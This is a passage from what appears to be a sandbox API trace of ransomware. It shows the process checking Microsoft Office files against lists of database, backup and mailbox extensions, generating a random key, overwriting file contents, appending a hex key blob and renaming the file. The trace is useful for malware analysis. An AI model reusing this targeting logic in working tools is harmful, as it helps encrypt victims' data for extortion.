	[0136.199] lstrlenW (lpString=".ost") returned 4
	[0136.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC", lpSrch=".ost") returned 0x0
	[0136.199] lstrlenW (lpString=".txt") returned 4
	[0136.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC", lpSrch=".txt") returned 0x0
	[0136.199] lstrlenW (lpString=".mdt") returned 4
	[0136.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC", lpSrch=".mdt") returned 0x0
	[0136.199] lstrlenW (lpString=".BDB") returned 4
	[0136.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC", lpSrch=".BDB") returned 0x0
	[0136.200] lstrlenW (lpString=".eql") returned 4
	[0136.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC", lpSrch=".eql") returned 0x0
	[0136.200] lstrlenW (lpString=".DBF") returned 4
	[0136.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC", lpSrch=".DBF") returned 0x0
	[0136.200] lstrlenW (lpString=".EQL") returned 4
	[0136.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC", lpSrch=".EQL") returned 0x0
	[0136.200] lstrlenW (lpString=".FDB") returned 4
	[0136.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC", lpSrch=".FDB") returned 0x0
	[0136.200] lstrlenW (lpString=".EDB") returned 4
	[0136.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC", lpSrch=".EDB") returned 0x0
	[0136.200] lstrlenW (lpString=".DACPAC") returned 7
	[0136.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC", lpSrch=".DACPAC") returned 0x0
	[0136.200] lstrlenW (lpString=".VHD") returned 4
	[0136.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC", lpSrch=".VHD") returned 0x0
	[0136.200] lstrlenW (lpString=".DBV") returned 4
	[0136.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC", lpSrch=".DBV") returned 0x0
	[0136.201] lstrlenW (lpString=".dacpac") returned 7
	[0136.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC", lpSrch=".dacpac") returned 0x0
	[0136.201] lstrlenW (lpString=".sdf") returned 4
	[0136.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC", lpSrch=".sdf") returned 0x0
	[0136.201] lstrlenW (lpString=".accdb") returned 6
	[0136.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC", lpSrch=".accdb") returned 0x0
	[0136.201] lstrlenW (lpString=".DBX") returned 4
	[0136.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC", lpSrch=".DBX") returned 0x0
	[0136.201] lstrlenW (lpString=".MDT") returned 4
	[0136.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC", lpSrch=".MDT") returned 0x0
	[0136.201] lstrlenW (lpString=".SQB") returned 4
	[0136.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC", lpSrch=".SQB") returned 0x0
	[0136.201] lstrlenW (lpString=".vhd") returned 4
	[0136.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC", lpSrch=".vhd") returned 0x0
	[0136.201] lstrlenW (lpString=".bac") returned 4
	[0136.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC", lpSrch=".bac") returned 0x0
	[0136.201] lstrlenW (lpString=".mdf") returned 4
	[0136.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC", lpSrch=".mdf") returned 0x0
	[0136.201] lstrlenW (lpString=".BAK") returned 4
	[0136.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC", lpSrch=".BAK") returned 0x0
	[0136.201] lstrlenW (lpString=".BAC") returned 4
	[0136.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC", lpSrch=".BAC") returned 0x0
	[0136.201] lstrlenW (lpString=".dbs") returned 4
	[0136.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC", lpSrch=".dbs") returned 0x0
	[0136.201] lstrlenW (lpString=".vhdx") returned 5
	[0136.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC", lpSrch=".vhdx") returned 0x0
	[0136.202] lstrlenW (lpString=".NDF") returned 4
	[0136.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC", lpSrch=".NDF") returned 0x0
	[0136.202] lstrlenW (lpString=".dat") returned 4
	[0136.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC", lpSrch=".dat") returned 0x0
	[0136.202] lstrlenW (lpString=".DBS") returned 4
	[0136.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC", lpSrch=".DBS") returned 0x0
	[0136.202] lstrlenW (lpString=".CKP") returned 4
	[0136.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC", lpSrch=".CKP") returned 0x0
	[0136.202] lstrlenW (lpString=".edb") returned 4
	[0136.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC", lpSrch=".edb") returned 0x0
	[0136.202] lstrlenW (lpString=".PST") returned 4
	[0136.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC", lpSrch=".PST") returned 0x0
	[0136.202] lstrlenW (lpString=".dbf") returned 4
	[0136.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC", lpSrch=".dbf") returned 0x0
	[0136.202] lstrlenW (lpString=".SQL") returned 4
	[0136.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC", lpSrch=".SQL") returned 0x0
	[0136.202] lstrlenW (lpString=".pst") returned 4
	[0136.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC", lpSrch=".pst") returned 0x0
	[0136.202] lstrlenW (lpString=".dbv") returned 4
	[0136.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC", lpSrch=".dbv") returned 0x0
	[0136.202] lstrlenW (lpString=".SDF") returned 4
	[0136.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC", lpSrch=".SDF") returned 0x0
	[0136.202] lstrlenW (lpString=".dtxs") returned 5
	[0136.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC", lpSrch=".dtxs") returned 0x0
	[0136.202] lstrlenW (lpString=".db3") returned 4
	[0136.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC", lpSrch=".db3") returned 0x0
	[0136.202] lstrlenW (lpString=".OST") returned 4
	[0136.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC", lpSrch=".OST") returned 0x0
	[0136.203] lstrlenW (lpString=".dbx") returned 4
	[0136.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC", lpSrch=".dbx") returned 0x0
	[0136.203] lstrlenW (lpString=".DB3") returned 4
	[0136.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC", lpSrch=".DB3") returned 0x0
	[0136.203] lstrlenW (lpString=".DAT") returned 4
	[0136.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC", lpSrch=".DAT") returned 0x0
	[0136.203] lstrlenW (lpString=".VHDX") returned 5
	[0136.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC", lpSrch=".VHDX") returned 0x0
	[0136.203] lstrlenW (lpString=".ndf") returned 4
	[0136.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC", lpSrch=".ndf") returned 0x0
	[0136.203] lstrlenW (lpString=".DB") returned 3
	[0136.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC", lpSrch=".DB") returned 0x0
	[0136.203] lstrlenW (lpString=".sql") returned 4
	[0136.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC", lpSrch=".sql") returned 0x0
	[0136.203] lstrlenW (lpString=".MYD") returned 4
	[0136.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC", lpSrch=".MYD") returned 0x0
	[0136.203] lstrlenW (lpString=".DBT") returned 4
	[0136.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC", lpSrch=".DBT") returned 0x0
	[0136.203] lstrlenW (lpString=".ACCDB") returned 6
	[0136.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC", lpSrch=".ACCDB") returned 0x0
	[0136.203] lstrlenW (lpString=".fdb") returned 4
	[0136.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC", lpSrch=".fdb") returned 0x0
	[0136.203] lstrlenW (lpString=".bak") returned 4
	[0136.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC", lpSrch=".bak") returned 0x0
	[0136.204] lstrlenW (lpString=".myd") returned 4
	[0136.204] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC", lpSrch=".myd") returned 0x0
	[0136.204] lstrlenW (lpString=".DTXS") returned 5
	[0136.204] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC", lpSrch=".DTXS") returned 0x0
	[0136.204] lstrlenW (lpString=".ckp") returned 4
	[0136.204] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC", lpSrch=".ckp") returned 0x0
	[0136.204] lstrlenW (lpString=".dbt") returned 4
	[0136.204] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC", lpSrch=".dbt") returned 0x0
	[0136.204] lstrlenW (lpString=".db") returned 3
	[0136.204] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC", lpSrch=".db") returned 0x0
	[0136.204] lstrlenW (lpString=".TXT") returned 4
	[0136.204] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC", lpSrch=".TXT") returned 0x0
	[0136.204] lstrlenW (lpString=".MDF") returned 4
	[0136.204] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC", lpSrch=".MDF") returned 0x0
	[0136.204] lstrlenW (lpString=".bdb") returned 4
	[0136.204] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC", lpSrch=".bdb") returned 0x0
	[0136.204] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0136.204] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0136.204] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0136.204] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
	[0136.204] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394f48) returned 1
	[0136.206] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0136.206] CryptReleaseContext (hProv=0x394f48, dwFlags=0x0) returned 1
	[0136.206] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0136.206] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0136.206] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0136.206] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=25619621061) returned 1
	[0136.206] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xbaa06590, dwHighDateTime=0x1d60e1e)) 
	[0136.206] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0136.206] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0136.206] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0136.206] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28252b0
	[0136.206] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0136.207] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28252b0 | out: hHeap=0x300000) returned 1
	[0136.207] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0136.207] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0136.207] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ce188
	[0136.207] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0136.207] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c5a00
	[0136.207] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ce188 | out: hHeap=0x300000) returned 1
	[0136.207] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0136.207] GetLastError () returned 0x0
	[0136.207] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0136.208] GetLastError () returned 0x0
	[0136.210] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0xfffffd75, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0136.210] WriteFile (in: hFile=0x108, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x28b, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x24dfec0*=0x28b, lpOverlapped=0x0) returned 1
	[0136.210] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0136.210] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0136.210] WriteFile (in: hFile=0x108, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0136.211] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0136.211] WriteFile (in: hFile=0x108, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0136.211] CloseHandle (hObject=0x108) returned 1
	[0136.211] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ce188
	[0136.211] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_col.hxc"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_col.hxc.~~~~")) returned 1
	[0136.214] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ce188 | out: hHeap=0x300000) returned 1
	[0136.214] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0136.214] GetLastError () returned 0x0
	[0136.214] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT", lpSrch=".scr") returned 0x0
	[0136.214] lstrlenW (lpString=".cmd") returned 4
	[0136.214] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT", lpSrch=".cmd") returned 0x0
	[0136.214] lstrlenW (lpString=".dll") returned 4
	[0136.214] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT", lpSrch=".dll") returned 0x0
	[0136.214] lstrlenW (lpString=".bat") returned 4
	[0136.214] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT", lpSrch=".bat") returned 0x0
	[0136.214] lstrlenW (lpString=".cpl") returned 4
	[0136.214] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT", lpSrch=".cpl") returned 0x0
	[0136.214] lstrlenW (lpString=".sys") returned 4
	[0136.214] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT", lpSrch=".sys") returned 0x0
	[0136.214] lstrlenW (lpString=".msc") returned 4
	[0136.215] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT", lpSrch=".msc") returned 0x0
	[0136.215] lstrlenW (lpString=".com") returned 4
	[0136.215] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT", lpSrch=".com") returned 0x0
	[0136.215] lstrlenW (lpString=".lnk") returned 4
	[0136.215] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT", lpSrch=".lnk") returned 0x0
	[0136.215] lstrlenW (lpString=".msp") returned 4
	[0136.215] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT", lpSrch=".msp") returned 0x0
	[0136.215] lstrlenW (lpString=".pif") returned 4
	[0136.215] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT", lpSrch=".pif") returned 0x0
	[0136.215] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0136.215] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT", lpSrch="msp\r\n.pif") returned 0x0
	[0136.215] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
	[0136.218] lstrlenW (lpString=".sqb") returned 4
	[0136.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT", lpSrch=".sqb") returned 0x0
	[0136.218] lstrlenW (lpString=".ost") returned 4
	[0136.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT", lpSrch=".ost") returned 0x0
	[0136.218] lstrlenW (lpString=".txt") returned 4
	[0136.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT", lpSrch=".txt") returned 0x0
	[0136.219] lstrlenW (lpString=".mdt") returned 4
	[0136.219] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT", lpSrch=".mdt") returned 0x0
	[0136.219] lstrlenW (lpString=".BDB") returned 4
	[0136.219] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT", lpSrch=".BDB") returned 0x0
	[0136.219] lstrlenW (lpString=".eql") returned 4
	[0136.219] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT", lpSrch=".eql") returned 0x0
	[0136.219] lstrlenW (lpString=".DBF") returned 4
	[0136.219] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT", lpSrch=".DBF") returned 0x0
	[0136.219] lstrlenW (lpString=".EQL") returned 4
	[0136.219] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT", lpSrch=".EQL") returned 0x0
	[0136.219] lstrlenW (lpString=".FDB") returned 4
	[0136.219] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT", lpSrch=".FDB") returned 0x0
	[0136.219] lstrlenW (lpString=".EDB") returned 4
	[0136.219] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT", lpSrch=".EDB") returned 0x0
	[0136.220] lstrlenW (lpString=".DACPAC") returned 7
	[0136.220] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT", lpSrch=".DACPAC") returned 0x0
	[0136.220] lstrlenW (lpString=".VHD") returned 4
	[0136.220] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT", lpSrch=".VHD") returned 0x0
	[0136.220] lstrlenW (lpString=".DBV") returned 4
	[0136.220] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT", lpSrch=".DBV") returned 0x0
	[0136.220] lstrlenW (lpString=".dacpac") returned 7
	[0136.220] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT", lpSrch=".dacpac") returned 0x0
	[0136.220] lstrlenW (lpString=".sdf") returned 4
	[0136.220] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT", lpSrch=".sdf") returned 0x0
	[0136.220] lstrlenW (lpString=".accdb") returned 6
	[0136.220] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT", lpSrch=".accdb") returned 0x0
	[0136.220] lstrlenW (lpString=".DBX") returned 4
	[0136.220] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT", lpSrch=".DBX") returned 0x0
	[0136.220] lstrlenW (lpString=".MDT") returned 4
	[0136.220] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT", lpSrch=".MDT") returned 0x0
	[0136.220] lstrlenW (lpString=".SQB") returned 4
	[0136.220] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT", lpSrch=".SQB") returned 0x0
	[0136.220] lstrlenW (lpString=".vhd") returned 4
	[0136.220] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT", lpSrch=".vhd") returned 0x0
	[0136.220] lstrlenW (lpString=".bac") returned 4
	[0136.220] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT", lpSrch=".bac") returned 0x0
	[0136.220] lstrlenW (lpString=".mdf") returned 4
	[0136.220] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT", lpSrch=".mdf") returned 0x0
	[0136.220] lstrlenW (lpString=".BAK") returned 4
	[0136.220] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT", lpSrch=".BAK") returned 0x0
	[0136.220] lstrlenW (lpString=".BAC") returned 4
	[0136.221] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT", lpSrch=".BAC") returned 0x0
	[0136.221] lstrlenW (lpString=".dbs") returned 4
	[0136.221] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT", lpSrch=".dbs") returned 0x0
	[0136.221] lstrlenW (lpString=".vhdx") returned 5
